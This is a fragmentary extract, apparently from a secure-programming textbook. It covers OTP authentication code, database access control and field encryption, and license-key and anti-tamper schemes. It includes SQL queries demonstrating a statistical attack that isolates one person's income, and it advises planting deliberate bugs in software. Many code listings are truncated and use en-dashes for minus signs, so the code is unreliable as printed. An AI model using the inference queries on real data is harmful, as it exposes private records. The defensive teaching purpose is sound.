#include <openssl/evp.h>
#include "otp-common.h"
i = generate_raw_response(key, challenge);
ret = word_encode((char *)&i, 8);
*(strchr(ret, '=')) = 0;
return ret;
}
The server code gives you functionality for creating (although not saving)
new users, generating challenges, checking responses, and printing a list of the
376 Chapter 13 Password Authentication
m next one-time passwords for a user (which would be useful for people not
using calculators).
otp-server.c:
/* This code isn't useful for a production system for one primary
reason. It never saves its database! If you change this code
to do so, store the database encrypted, or only write out the
database when absolutely necessary (i.e., when the process is
exiting).
#include <stdio.h>
#include "rand.h"
#include "otp-common.h"
struct userinfo {
char *name;
_uint64 counter;
char key[16];
int awaiting_response;
struct userinfo *next;
};
FILE *rng;
char *ret;
resl = strlen(response);
response[resl] = '=';
err = 0;
decoded = word_decode(response, &len, &err);
378 Chapter 13 Password Authentication
response[resl] = 0;
if(err) return –3;
if(len != 8) return –4;
submitted = ((_uint64 *)decoded)[0];
free(decoded);
actual = generate_raw_response(u->key, u->counter);
if(submitted == actual) return 0;
return –5;
}
The calculator code has a notion of multiple accounts with a unique key
for each account. Otherwise, it just relies on the functionality in otp-
common.c.
otp-calc.c
/* This code isn't useful for a production system for one primary
reason. It never saves its database! If you change this code
to do so, store the database encrypted, or only write out the
database when absolutely necessary (i.e., when the process is
exiting).
#include <stdio.h>
#include "otp-common.h"
Conclusion 379
struct accountinfo {
char *name;
char key[16];
struct accountinfo *next;
};
while(a) {
if(!strcmp(name, a->name)) return a;
a = a->next;
}
return NULL;
}
Conclusion
Password authentication is full of tradeoffs. It’s difficult to walk the fine line
between usability and security. In general, usability dictates having a shoddy
password scheme that is easy for technical support to reset. This seems to be
380 Chapter 13 Password Authentication
381
382 Chapter 14 Database Security
The Basics
One of the biggest concerns with databases is whether the connection
between the caller and the database is encrypted. Usually it is not. Few
databases support strong encryption for connections. Oracle does, but only
if you purchase an add-on (the Advanced Networking Option). MySQL
supports SSL connections to the database. There may be others, but con-
nection cryptography isn’t a common feature. If you must use a particular
database that doesn’t support encryption, such as Microsoft SQL Server,
you may want to consider setting up a virtual private network between the
database and any database clients. If you push a lot of data, require efficiency,
and get to choose the algorithm, you will probably want to go for a fast
stream cipher with a 128-bit key (or AES, otherwise).
One risk to keep in mind when using a database is what sort of damage
malicious data from untrusted users can do. This is a large and important
problem. We discuss this problem in depth, including several database-
related issues in Chapter 12.
All real databases provide password authentication as well as access
control to tables in the database based on those accounts. However, the
authentication and table-based access control provided usually only affords
your application protection against other users of the database. These features
are not designed to support an application with its own concept of users. We
discuss the basic SQL access control model in the next section.
In practice, your application must enforce its own notion of access control
on a database. This job is quite difficult. The easiest part is protecting data.
For example, let’s consider a database of documents, in which each docu-
ment has a security clearance attached to it. We may number the clearances
on the documents to reflect security levels: No clearance required, 0; confi-
dential, 1; secret, 2; and top secret, 3. If the current user has confidential
clearance to the database contents, we could easily restrict that user’s access
to unauthorized data in SQL. For example,
SELECT documents
FROM docdb
WHERE clearance <= 1;
about your database. This kind of an attack is called a statistical attack, and
defending against such attacks is very difficult. We discuss such attacks later
in the chapter.
Access Control
Access control in databases is designed to protect users with accounts on
a database from each other. Each user can have his or her own tables, and
can moderate access to those tables. Usually, applications use a single login to
a database. Certainly, you can add a new account to the database for every
user of the database. Unfortunately, this solution tends not to scale for large
numbers of users. However, it is often a viable option for a database with a
small number of important users.
As we’ve mentioned, SQL-driven databases have a notion of users that
must authenticate. The other important components for access control are
objects, actions, and privileges. Objects are tables, views of tables, and
columns in those tables or views. In the SQL 92 standard [SQL 92], you
can assign rights to any object. However, in many databases you can only
assign rights on a per-table basis.
By default, only the entity who originally creates an object (the owner)
has any access at all to that object. This user is able to grant privileges for
each type of object to other users. Actions available in SQL include SELECT,
for reading data; INSERT, for adding new data to a table; DELETE, for
removing data from a table; and UPDATE, for changing data in a table. The
SQL 92 standard provides a few more actions, but don’t expect them to be
widely implemented.
We can grant one or a set of actions to a particular user for a particular
object. Privileges are composed of obvious information: the entity granting the
privilege, the entity to which the privilege should be granted, the object for
which the permission is granted, and the action granted. Additionally, the
SQL 92 standard states that the privilege may specify whether the privilege
can be granted to others. However, not every database supports this.
Privileges are extended with the GRANT command, which takes the
general form
GRANT action(s) ON object TO user(s).
For example, one of us has his mp3 collection indexed in a database. There
is a table named “mp3s,” one named “artists,” one named “cds,” and one
384 Chapter 14 Database Security
named “history.” The “history” table stores what the author has listened to
and when. Say that we’d like to allow the user “jt” to be able to browse the
music, but not the history. We could issue the following series of commands:
GRANT SELECT
ON mp3s
TO jt;
GRANT SELECT
ON artists
TO jt;
GRANT SELECT
ON cds
TO jt;
If we’d like to allow that user to add music to our collection and to
update the database accordingly, there are two approaches. We could say
and repeat for each table. Or, we can usually use the shorthand ALL:
GRANT ALL
ON mp3s
TO jt;
We still need to issue this command once for each table. If we’d like to
give everyone access to the mp3s table, we can use the PUBLIC keyword:
GRANT ALL
ON mp3s
TO PUBLIC;
GRANT SELECT
ON history
Using Views for Access Control 385
TO jt
WITH GRANT OPTION;
With this command, the user “jt” could allow other people to read from the
history table. We could also grant that user write privileges to the table,
without extending the GRANT option.
To take away privileges, we use the REVOKE command, which has very
similar semantics. For example, to take back all the privileges we’ve granted
on the mp3s table, we can say
REVOKE ALL
ON mp3s
FROM PUBLIC;
Revoking the grant privilege also revokes any select privileges on the
history table that the user “jt” granted.
Note that many databases have a concept of groups of users similar to
the UNIX model. In such databases, you can grant privileges to (and revoke
them from) groups as well as individual users.
If we want to remove the view at the end of the session, we can run the
command
Some databases allow for views that are read-write, and not just read-
only. When this is the case, WHERE clauses generally aren’t enforced in a
view when inserting new data into a table. For instance, if the view from
our previous example were writable, student 156 would be able to modify
the information of other people, even if the student could only see his own
information. Such databases should also implement the SQL 92 standard
way of forcing those WHERE clauses to get executed when writing to the data-
base, the CHECK option:
One thing to be wary of when using views is that they are often imple-
mented by copying data into temporary tables. With very large tables, views
can be painfully slow. Usually, there are cases when you can provide a very
specific WHERE clause, yet the implementation still needs to copy every single
row before applying the WHERE clause.
Another caution is that you shouldn’t use views as an excuse to allow
clients to connect directly to your database. Remember from Chapter 12:
A malicious client will likely just run the command SHOW TABLES; and then
access forbidden data directly.
Field Protection
We shouldn’t always assume that other people with database access are
actually trustworthy. Therefore, there is a need to protect fields in a data-
base from the prying eyes of the person who has valid access to administer
the database. For example, we may wish to store passwords for an end
application as cryptographic hashes instead of plain-text strings. We may
also wish to keep credit card numbers and the like encrypted.
There are a number of nonstandard ways in which databases may offer
this kind of functionality. For example, you might see a PASSWORD data type
or a function that takes a string and mangles it. Such functionality is rare.
Moreover, it’s best to be conservative, and never to use such functionality.
Usually, the cryptographic strength of these features is poor to nonexistent.
Many common password storage mechanisms in databases store passwords
in a format that is not only reversible, but easily reversible. For instance,
there’s a long history of password-decoding utilities for Oracle databases
that have circulated in the hacker underground.
Instead of relying on built-in functionality, you should perform your
own encryption and your own hashing at the application level using algo-
rithms you trust. That is, encrypt the data before storing it, and decrypt it
on retrieval. You will likely need to take the binary output of the cipher and
encode it to fit it into the database, because SQL commands do not accept
arbitrary binary strings. We recommend encoding data using the base64
encoding algorithm, which does a good job of minimizing the size of the
resulting data.
One problem with self-encrypted data in a database is that the database
itself provides no way of searching such data efficiently. The only way to
solve this problem is to retrieve all of the relevant data, and search through
it after decryption. Some interesting new research on searching encrypted
388 Chapter 14 Database Security
data may lead to a practical solution in a real product eventually, but don’t
expect useful results for quite some time. Also, expect such a solution to
have plenty of its own drawbacks.
An obvious problem, which keeps many from using field encryption, is
the performance hit.
A bigger problem with encrypting fields is that you generally end up
expanding the data (because the fields generally must be stored as text and
not the binary that results from an encryption operation). This may not be
possible in some environments without expanding your tables. This is often
prohibitive, especially if you’ve got a table design that has been highly tuned
to match the underlying hardware or is something that can’t be changed
because it’ll break many existing applications that expect a particular
table layout.
In a post to the newsgroup sci.crypt in January 1997, Peter Gutmann
revealed a technique for encrypting data in a range, in which the ciphertext
remains the same size as the plaintext, and also remains within the desired
range.
The following is code to encrypt ASCII or ISO 8859-x text in such a
way that the resulting text remains in the same character set, and does not
grow. Characters outside the range are kept intact and are left unencrypted.
The algorithm is described in detail in the comments.
/* The range of allowed values for 7-bit ASCII and 8-bit text
* (generic ISO 8859-x character set). For ASCII the allowed
* values are ' ' ... 127h, for text they are the same as ASCII
* but with a second range that corresponds to the first one
* with the high bits set. The values in the high range are
* mapped down to follow the low range before en-/decryption,
* and are mapped back up again afterward. Anything outside
* the range is left unencrypted.
*/
#define ASCII_BASE 32
#define ASCII_RANGE 96
#define HIGH_BASE 32
#define HIGH_RANGE 96
do
val = ksg();
while( val >= KSG_RANGE );
continue;
}
output[ i ] = ch;
}
}
ch = ( ch - val ) % range;
while( ch < 0 )
ch += range;
output[ i ] = ch;
}
}
SELECT AVG(income)
FROM customers
WHERE city = "reno";
SELECT COUNT(*)
FROM customers
WHERE city = "reno"
AND state = "nv"
AND age = 72;
Security against Statistical Attacks 393
SELECT AVG(income)
FROM customers
WHERE city = "reno"
AND state = "nv"
AND age = 72;
SELECT AVG(income)
FROM customers
WHERE NOT (city = "reno"
AND state = "nv"
AND age = 72);
The problem with this strategy is that a clever attacker can always
circumvent the restriction through indirection, as long as the attacker knows
how to identify a single entry in the database uniquely. In the previous ex-
ample, the unique way we identify the row is by the city, state, and age com-
bined. It doesn’t matter that we can’t query the database directly for an
individual’s income.
The general attack strategy is to identify a query on incomes that can
be answered. An attacker can then run that query, logically OR-ed with the
information the attacker is interested in obtaining. Then, the attacker runs
the same query without the tuple of interest.
Consider the example of finding the income of the unsuspecting attack
target in Reno from the point of view of an attacker. For our bogus queries,
let’s ask for all people in the state of Virginia. Let’s say that there is a 100-
person threshold on any operation that singles out tuples. The first thing we
need to know is how many customers are in Virginia:
SELECT COUNT(*)
FROM customers
WHERE state = "va";
Result: 10000
394 Chapter 14 Database Security
We now ask for the average salary of everyone in the state of Virginia,
plus our target:
SELECT AVG(income)
FROM customers
WHERE state = "va"
OR (city = "reno"
AND state = "nv"
AND age = 72);
Let’s say the result is $60,001. Now, we ask for the average salary of
everyone in the the state of Virginia, without our target:
SELECT AVG(income)
FROM customers
WHERE state = "va";
Conclusion
Owing to the extensive work done by SQL standardization bodies, most
databases provide plenty of overlap in basic functionality. However, they
also tend to provide a startling number of features that are unique to a
particular database, and are thus highly unportable. This holds true in the
area of security, especially among the well-established commercial databases.
You should definitely check the documentation of your database package,
because there may be additional mechanisms for access control, auditing,
setting quotas, and other things that are worth using.
For example, one of the more interesting features you may have in your
tool kit, at least from a security perspective, is the trigger. A trigger is a
stored program that is attached to a table, and is called whenever a partic-
ular condition is met. In contrast to stored procedures, which can be called
at the whim of the person writing SQL, there is no way to call a trigger directly
from SQL other than by meeting the condition. You should consider using
triggers to implement logging of updates to security-critical or otherwise
sensitive data.
396 Chapter 14 Database Security
397
398 Chapter 15 Client-side Security
And ultimate on the prestige scale is to put the crack out before the original
even comes out.
Developers and producers of games spend plenty of time worrying about
the cracker community and how they may undermine a revenue stream.
Although the Software Piracy Association (SPA) provides very large, scary-
looking numbers for revenue lost as a result of software piracy, the reality is
much less grim than their numbers suggest. The numbers on which the SPA
bases its reports reflect the estimated total value of all pirated copies of
software. That is, if the SPA believes there are 1,000 bootlegged copies of
Fred’s Software running in the world, and the package sells for $10,000 a
seat, then they would estimate a $10 million loss. However, much pirated
software doesn’t actually cost the vendor anything. Why? Because people
who steal software would most likely not be willing to pay for a copy if they
couldn’t steal it. We believe that most of the cracker community is this way.
Crackers are generally not willing to pay for software.
However, we see at least two types of software piracy that do cost
vendors money. The first is piracy by organized crime rings. Organized
criminals pirate software and resell it at a lower price point than the
original vendor. Most of these piracy organizations are based in Asia
(and tend to operate in the Asian market exclusively). A more limited
amount of organized piracy goes on in the United States and Europe. This
type of piracy really does cost software vendors significant amounts of
money each year. However, once these pirates have been able to duplicate
a program for easy resale, there is often little that can be done to make a
dent in their business.
The other type of software piracy that hurts vendors is casual piracy.
When a user can simply pop a data CD into a CD-R drive, then lots of
people are bound to pirate something just for convenience sake. For
example, many corporate offices have a policy against software piracy. If
people have a legitimate need to own a copy of Microsoft Office, all they
need to do is ask. Their company will get it for them. However, it may take
time (or filling out some form) to get in a new copy. It’s just easier to go
down a few cubes to find someone who already has it, and install that copy.
Having a CD key helps a little bit, but not very much. The only time it helps
is when people don’t have access to the key (something we believe is pretty
infrequent). Even if your company keeps its keys locked up and out of the
reach of employees, it is usually possible to copy a key out of a running
version of the software.
Client-side Security 399
deficient. The theory is that if you just “borrow” a CD, you may subcon-
sciously understand what you are doing is wrong if you have to type in a
unique license key.
A related strategy that is similarly effective is to try to force software to
run largely off the distribution CD. In this way, casual users must explicitly
copy the CD to run it at home and so forth. This makes users more con-
scious of the fact that they’re illegally running software. It is technically easy
to implement this protection scheme. Instead of reading files off a CD drive
as if it were any other file system, deal with the drive at the device driver
level, raising the technical stakes for an attacker.
License keys are slightly harder to implement. The basic idea is to create
a set of keys in such a way that very few arbitrarily chosen strings are actually
valid. We’d also like to make it so that valid strings are not something that
people can easily construct.
A good basic strategy is to use encryption to create valid keys. We start
with a counter plus a fixed string and turn it into a compact binary represen-
tation. Then we encrypt the binary representation, and convert the binary to
a printable key. When a user types in a license key, we decrypt it and check
the string for validity.
This strategy leaves you open to an attacker being able to “mint” license
keys by finding the encryption key in the binary. Usually this is not much of
a concern. We are not trying to raise the bar in the face of determined attackers
or habitual software pirates. If it wasn’t possible to “mint” keys, such people
would just swap working keys, unless you add more complex checking. In
this case, we are only trying to deter the casual pirate. If you do want to pre-
vent key minting, you can use digital signatures as license keys (discussed in
the next section).
A simple license scheme is straightforward. The biggest issue to tackle is
encoding and decoding. First we must decide what character set to use for
keys. We can use the base64 alphabet, which would allow for easy trans-
lation to and from binary. Unfortunately, this is hard for some users. People
will type in the wrong character (because of typos or easily confused charac-
ters) relatively often. The most common problem is likely to be ignoring the
case sensitivity of the license. It would be nice to use all the roman letters
and all ten digits. That yields a 36-character alphabet. However, computa-
tionally it is best for the size of our alphabet to be exactly a power of two in
size. Thus, we should trim four characters out. We recommend getting rid of
L, 1, O, and 0, because they’re the four characters most prone to typos of
the standard 36. This leaves us with a good-size alphabet.
402 Chapter 15 Client-side Security
The following includes the code for converting data into this 32-
character set and back. Although the encoding always converts text into
numbers or capital letters, it treats lowercase letters as uppercase letters
when converting back to binary.
We call this encoding base32 encoding, because it’s quite similar to
base64 encoding. Note that we actually have a 33-character set because we
also use = to denote padding. The way we encode data is to break them up
into 5-byte chunks. Each chunk is encoded into 8 base32 characters. If we
don’t have a multiple of 5 bytes (which we won’t for this application), we
need to perform padding. Note that this library allocates its own memory
using malloc. You need to free the memory explicitly when you’re done
with it:
#include <stdio.h>
/* This library ignores incoming line breaks, but does not add
line breaks to encoded data.
–1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1
–1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1
–1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1
–1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1
–1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1
–1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1
–1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1
–1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1, –1
};
*p++ = b32table[(input[i]<<2|input[i+1]>>6)&0x1f];
*p++ = b32table[(input[i+1]>>1)&0x1f];
if(mod == 2) {
*p++ = b32table[(input[i+1]<<4)&0x1f];
padchrs = 4;
goto pad;
}
*p++ = b32table[(input[i+1]<<4|input[i+2]>>4)&0x1f];
if(mod == 3) {
*p++ = b32table[(input[i+2]<<1)&0x1f];
padchrs = 3;
goto pad;
}
*p++ = b32table[(input[i+2]<<1|input[i+3]>>7)&0x1f];
*p++ = b32table[(input[i+3]>>2)&0x1f];
*p++ = b32table[(input[i+3]<<3)&0x1f];
*p++ = '=';
return output;
}
*err = 0;
*len = 0;
while(1) {
ch1:
switch(x = b32revtb[*in++]) {
case –3: /* NULL TERMINATOR */
return;
case –2: /* PADDING CHAR... INVALID HERE */
*err = 1;
return;
case –1:
goto ch1; /* skip characters that aren't in the alphabet */
default:
buf[0] = x<<3;
}
ch2:
switch(x = b32revtb[*in++]) {
case –3: /* NULL TERMINATOR... INVALID HERE */
case –2: /* PADDING CHAR... INVALID HERE */
Copy Protection Schemes 405
*err = 1;
return;
case –1:
goto ch2;
default:
buf[0] |= (x>>2);
buf[1] = x << 6;
}
ch3:
switch(x = b32revtb[*in++]) {
case –3: /* NULL TERMINATOR... INVALID HERE */
*err = 1;
return;
case –2:
/* Just assume the padding is okay. */
(*len)++;
buf[1] = 0;
pad = 4;
goto assembled;
case –1:
goto ch3;
default:
buf[1] |= x << 1;
}
ch4:
switch(x = b32revtb[*in++]) {
case –3: /* NULL TERMINATOR... INVALID HERE */
case –2:
*err = 1;
return;
case –1:
goto ch4;
default:
buf[1] |= x >> 4;
buf[2] = x << 4;
}
ch5:
switch(x = b32revtb[*in++]) {
case –3:
*err = 1;
return;
case –2:
(*len)+=2;
buf[2] = 0;
pad = 3;
406 Chapter 15 Client-side Security
goto assembled;
case –1:
goto ch5;
default:
buf[2] |= x>>1;
buf[3] = x<<7;
}
ch6:
switch(x = b32revtb[*in++]) {
case –3:
*err = 1;
return;
case –2:
(*len)+=3;
buf[3] = 0;
pad = 2;
goto assembled;
case –1:
goto ch6;
default:
buf[3] |= x<<2;
}
ch7:
switch(x = b32revtb[*in++]) {
case –3:
case –2:
*err = 1;
return;
case –1:
goto ch7;
default:
buf[3] |= x>>3;
buf[4] = x<<5;
}
ch8:
switch(x=b32revtb[*in++]) {
case –3:
*err = 1;
return;
case –2:
(*len)+=4;
buf[4] = 0;
pad = 1;
goto assembled;
case –1:
Copy Protection Schemes 407
goto ch8;
default:
buf[4] |= x;
}
(*len) += 5;
assembled:
for(x=0;x<5-pad;x++) {
*out++ = buf[x];
}
if(pad) {
return;
}
}
}
of end user annoyance). We reserve 4 bytes for our counter, and generate
12 bytes randomly. These 12 bytes get hard coded into our license key
generation software. They are also hard coded into the actual application,
which needs them to be able to validate license keys. We also need an
encryption key. For this, we shall use a different hard-coded value, also
generated from a high-quality source. The encryption key also needs to
live in the client software, to validate license keys.1
Now we’re ready to create valid license keys. Each valid license key is
a counter concatenated with the fixed binary string, then is encrypted and
converted to base32. When encrypting, we should use CBC mode, and we
should make sure to place the counter at the front of our string.
Note that 16 bytes doesn’t exactly map evenly to base32 blocks. When
we base32 encode, we get 26 encoded characters, with 6 characters of pad-
ding. Let’s avoid reporting the pad as part of the key.
Here’s a program that generates the first 256 valid license keys, using
the OpenSSL version of Blowfish for encryption:
#include <openssl/evp.h>
#include <stdio.h>
#define OUTPUT_SIZE 256
int main() {
EVP_CIPHER_CTX ctx;
unsigned int i;
unsigned char buf[16];
unsigned char orig[16];
unsigned char *enc;
int err, orig_len;
1. It’s unfortunate that the word “key” is overloaded here; however, in each case, “key” is the
widely used terminology.
Copy Protection Schemes 409
for(i=0;i<256;i++) {
/* Go ahead and use our fixed string as an initialization
vector
* because it is long enough; Blowfish has 64-bit blocks.
*/
EVP_EncryptInit(&ctx, EVP_bf_cbc(), key, str);
EVP_EncryptUpdate(&ctx, orig, &orig_len, buf, 16);
/* We don’t need EVP_EncryptFinal because we know we’re
* block aligned already. It would just give us padding.
*/
enc = base32_encode(orig, 16);
/* We don’t want to see the padding characters in the key. */
enc[26] = 0;
Checking the license key for validity is easy. We add padding back to
the license key (6 characters worth), decode the base32 string, decrypt the
binary with the stored encryption key, and check to see that the last
12 bytes are equal to our stored binary string. If it is, the license key is
valid.
License Files
One thing that we may wish to do is generate licenses that are dependent on
user-specific information, such as a user’s name. We may also like to be able
to ship a single version of software, and enable particular features for those
who paid for them. To support this kind of operation, we can use a digital
signature of license data to validate the accuracy of that data. The way this
works is by sending users a digitally signed license file that the software can
validate. DSA is good for this task because it produces smaller signatures
than RSA.
410 Chapter 15 Client-side Security
The public key associated with the signing key is embedded into each
copy of the software product and is used to verify that no one has tampered
with the license file. The private key is necessary to generate valid signatures
of license files; the public key only validates the signatures. Therefore, this
scheme thwarts automatic license generators, but is still susceptible to
reverse-engineering attacks.
Before adding the digital signature, a license file may be as simple as
the following:
To fix this problem, you can keep a registry entry or some other persis-
tent data that stores the initial date the software was run, the last date the
software was run, and a MAC of the two dates. In this way, you will be able
to detect any drastic changes in the clock.
The next kind of attack involves deleting the key, or uninstalling and
reinstalling the program. To make this attack less effective, you can hide the
MAC information somewhere on the file system that won’t be removed on
uninstall. Then the attacker is forced to find out about that file. If an attacker
does find the file, you have to come up with your own ideas for further
protection. Leaving such extra data around is a huge hassle to legitimate
users who actually want to wipe every trace of your software off their
system. If you actually remove everything at uninstall time, then an attacker
can easily find out where you hide your secrets. As we said, please think
through the consequences of such schemes carefully before adopting them.
2. Note that we do believe that it may be possible to raise the bar high enough so that it would
take many worker-years to break software. If this is possible, it’s certainly not easy to do.
412 Chapter 15 Client-side Security
as how much memory the machine has. If your application is made to run
on a broadband network, you can check the hardware address of the Ethernet
card. On a UNIX box, you can check the name reported by the hostname
command, or the inode number of the license file, which changes when the
license file is copied.
Note that this technique is very obtrusive, and often thwarts legitimate
use. It often prevents honest users from modifying their machine config-
uration too significantly. For example, if the owner of the software needs to
move the software to another machine (perhaps because of hardware failure,
for example), he or she would have to get a new license.
A related approach for Internet-enabled applications is to include call-
backs to a central server that keeps track of which license keys have been used.
The problem here is that privacy advocates will (legitimately) worry about
invasion-of-privacy issues. Plus, there is a huge usability hassle on the part
of the legitimate user. Beyond the fact that the user must have access to an
Internet connection (which would make working on an airplane pretty hard),
the user also has an overly difficult time when it becomes necessary to reinstall
the software for any reason. One option for solving this problem is to allow
the install, but just keep track of who uses which license key, and then try to
detect things that look suspicious statistically, and follow up on them legally.
Another issue that crops up is that your code needs to take into account
firewalls that put significant restrictions on outgoing traffic (see Chapter 16).
1. Replace the license management code with code that always allows
operations.
2. Replace all calls to a license management system with successful returns.
3. Skip over the license management code altogether.
In fact, these problems exist with the license-based schemes discussed earlier.
Tamperproofing, which we discuss later, can help thwart these problems.
Another common copy protection strategy is to use CDs to store a key
in such a way that the typical CD writer won’t duplicate the key. This sort of
approach is available in Macrovision’s product SafeDisk. It suffers from the
same sorts of problems as the previous schemes we’ve discussed, although
Macrovision appears to have added many anti-tampering measures.
One of the more effective copy protection schemes is a dongle. Dongles
are pieces of hardware that are designed to connect externally to a computer’s
414 Chapter 15 Client-side Security
serial port. They have some very basic computational power. An application
using a dongle is set up to check the dongle strategically during execution.
For example, the software can issue a challenge to the dongle that the dongle
must answer. More often, a bit of important code is off-loaded to the dongle.
For the program to run properly, the code in the dongle needs to be properly
executed.
The dongle strategy is superior to most license schemes because the
attacker can’t try for the “easy” hacks that circumvent the copy protection.
The new goal of an attacker in this situation is to reproduce the code from
the dongle in software.
The most difficult issue with respect to dongles is figuring out what code
to place in the dongle. There are often serious size limits, plus the processing
power of the dongle is also severely limited. In addition, figuring out what
the dongle is doing by inspection is not exactly intractable. Although hard-
ware tamperproofing is good enough to keep most attackers from disas-
sembling the dongle and figuring out its innards, inferring the innards by
merely observing the inputs and outputs along with the context of the
calling software is often possible.
The more code you can off-load to tamperproofed hardware, the
better off you will be in terms of security, because the average software
attacker is far less likely to be a good hardware hacker. Ultimately, the best
dongle would be one in which the entire application runs on the dongle.
In this case, why not just sell a special purpose computer?
Needless to say, dongles are a fairly expensive solution, and are incred-
ibly burdensome on the end user. In fact, Peter Gutmann says that dongles
are “loathed to an unbelievable level by anyone who’s ever had to use
them.” Our experience concurs.
A method very similar to dongles is remote execution. In this scheme,
each client requires its own credentials that enable it to authenticate to a
remote server. Part or all of the application must be run on the remote
server, only if authentication succeeds. Remote execution is certainly cheaper
than dongles, but it is also even more inconvenient for the end user because
it requires an on-line component. Plus, it requires the software vendor to do
credential management and maintain servers with high availability.
Tamperproofing
Putting in place a good infrastructure for copy protection such as some of the
license management schemes described earlier is certainly possible. However,
most of these schemes rely on making the actual executable difficult to analyze
and to modify. We lump such defensive methods together under the term
tamperproofing. Anything that makes the attacker’s job harder to modify a
program successfully without the program failing is a tamperproofing method.
416 Chapter 15 Client-side Security
Antidebugger Measures
Most of the time, tamperproof hardware is not practical. Thus we end up
relying on software solutions. For this reason, the most important tool in a
software cracker’s tool kit is a debugger. Our goal should be to make it as hard
to “debug” a deployed copy of our software as possible. Debuggers necessarily
cause programs to behave differently from their undebugged behavior. We can
take advantage of this behavior to try to thwart the debugger attack.
One feature of debuggers that we can leverage (a technique first intro-
duced to us by Radim Bacinschi) is that they tend to reset the processor
instruction cache on every operation. The instruction cache contains the
next few instructions to execute, so that they are readily available in a
timely manner and don’t have to be fetched as they are needed.
Under normal operation, the instruction cache doesn’t get completely
wiped on every operation. It only gets wiped when a jump happens. This
is done because the cached instructions are no longer to be executed.3 We
can write assembly code that takes advantage of this fact, causing many
Checksums
Another good antitampering device is to compute checksums of data and
routines that may be subject to tampering. This can be done by precom-
puting a checksum over a piece of memory, and then dynamically comparing
against that value. This can be done in C. We give an example with a very
simple checksum routine that XORs consecutive bytes:
Responding To Misuse
When you detect that someone is using software without permission, or
when you detect that someone is tampering, the worst thing you can pos-
sibly do is error or exit immediately. Doing so can reveal to an attacker
where your tamper detection code is located. We’d like to put as much
distance as possible between the tamper detection code and the place where
we deal with the tampering. Ultimately, it should be difficult to find the
tamper detection code by tracing the control of the code back a few steps.
Similarly, we’d like to make it difficult to trace back to the detection code
by looking at the memory accessed around the crash, and then looking at
the last few times that variable was accessed.
One approach is to introduce bugs into parts of a program that are not
immediately executed, but are bound to execute eventually. However, if an
attacker can’t be tricked into thinking that an actual bug was tickled in the
program, then the attacker should be able to see what data caused the crash,
then run the program again, watching for all accesses to that code.
One of the best ways to avoid this data flow problem (at least partially)
is to take the reverse approach. Instead of adding subtle bugs, leave in some
of the more subtle bugs that actually exist in your code, and have your
tamperproofing code repair those bugs, if and only if no tampering is
detected. In this way, a data flow to the crash location only exists when
the program can’t detect tampering. For example, you may take a variable
that is used near the end of your program’s execution and leave it unini-
tialized. Then, sometime later, you run a checksum on your obvious license
management code. Then, in some other routine, you run a checksum on
your checksum code. If the second checksum succeeds, then you go ahead
and initialize the variable. Otherwise, the program will probably crash near
the end of its run, because the license management software is modified.
420 Chapter 15 Client-side Security
However, you hope to force the attacker to locate both checksums if the
attacker wants to break your program. If you add a bug that only gets
tickled approximately one third of the time, the more likely result is that
the attacker will think your code is genuinely broken, and won’t realize
what really happened.
Of course, if an attacker suspects that you played this trick, then his or
her next step is to look through the code for all accesses to the variable you
left uninitialized. There are a couple of tricks you can play to make this step
of the attack more difficult.
First, you can “accidentally” initialize the variable to a correct value by
overwriting a buffer in memory that is juxtaposed to that variable. You can
either do this when you determine that there has been no tampering, or you
could delay it. For example, let’s say that you leave the variable Z uninitial-
ized, and the array A sits in memory so that A[length(A)] is Z. Let’s also
say that you, at some point in the program, copy array B into A, and that
you have a variable L that contains the length of B, which is solely used for
the exit condition on your copy loop:
for(i=0;i<L;i++) {
A[i] = B[i];
}
If we were to place the correct value for Z’s initialization in the space
immediately after B, then we could cause the program to behave correctly by
adding 1 to L when we determine that a particular part of the program was
not tampered with. This kind of indirection will likely take an attacker some
time and effort to identify and understand.
A similar technique is to access the variable you’re leaving uninitialized
through pointer indirection. Offset another variable by a known, fixed
quantity.
These techniques are very dangerous, however. You may very likely
end up with an endless series of technical support calls from people whose
software isn’t working properly. For example, we have heard rumors that
AutoDesk did something similar some years ago and barely survived the
avalanche of calls from people reporting that their software was broken.
Decoys
In the previous section we discussed how you should fail as far from your
detection code as possible. This is not always true. One good thing to do is
Code Obfuscation 421
to add decoy license checks to your program that are valid, but easy to find.
These checks can give a suitable error message immediately when they detect
someone using the software in the wrong way. With this strategy, you can
give the attacker fair warning, and you may also trick the attacker into
thinking your protection is more naive than it really is.
You can use checksums on this decoy code as well. If the decoy is
removed or changed, then you introduce subtle bugs to the program, as
discussed earlier. Another approach is to keep two separate copies of license
data. One can be stored plainly on disk and the other can be inserted into
the middle of one of your data files.
Code Obfuscation
Many technologists treat compiled programs as a black box into which
no one can peer. For most people, this turns out to be true, because they
wouldn’t be able to take a binary file and make sense of the contents. How-
ever, there are plenty of people who can figure out machine code. There are
even more people who are competent enough to be able to use a disassem-
bler, and still more who can run a decompiler and make sense of the results.
If you’re concerned about these kinds of attacks, then you should
consider obfuscation techniques to hide your secrets. Of course, given
enough effort, it is always possible to reverse engineer programs. The goal
of obfuscation is to make such reverse engineering difficult enough that any
potential attacker gives up before breaking your code.
If you’re developing in a language like Java, then you have even more to
worry about, because the JVM format tends to retain much more data than
the average C program. Although Windows binaries also tend to retain
quite a lot of information by default, at least you can strip out symbols—
meaning, your variable and function names all disappear (commands like
strip are available to do this). In Java, the linking depends on symbolic
names, so you can’t strip information like this at all. The best you can do is
choose names that have no meaning.
Automated tools for code obfuscation exist, but none of them does
complex enough transformations to stop anyone who really knows her way
around a binary. In reality, such tools do little more than remove symbol
information from a binary, or mangle all the names they can get away with
mangling (in the case of Java). These techniques are somewhat effective (the
first more so than the second), but definitely don’t raise the bar so high that
you’ll need to wonder whether people will be capable of defeating them.
422 Chapter 15 Client-side Security
4. This in itself is code that does essentially nothing. You can add such conditions to loop
conditions, and so on, for more complexity. If you overuse this trick, however, clever
attackers will start to see right through it and will ignore the extra conditions.
Code Obfuscation 423
The functions we use in the following code are incredibly simple (and
weak, cryptographically speaking). They don’t encrypt using a key at all.
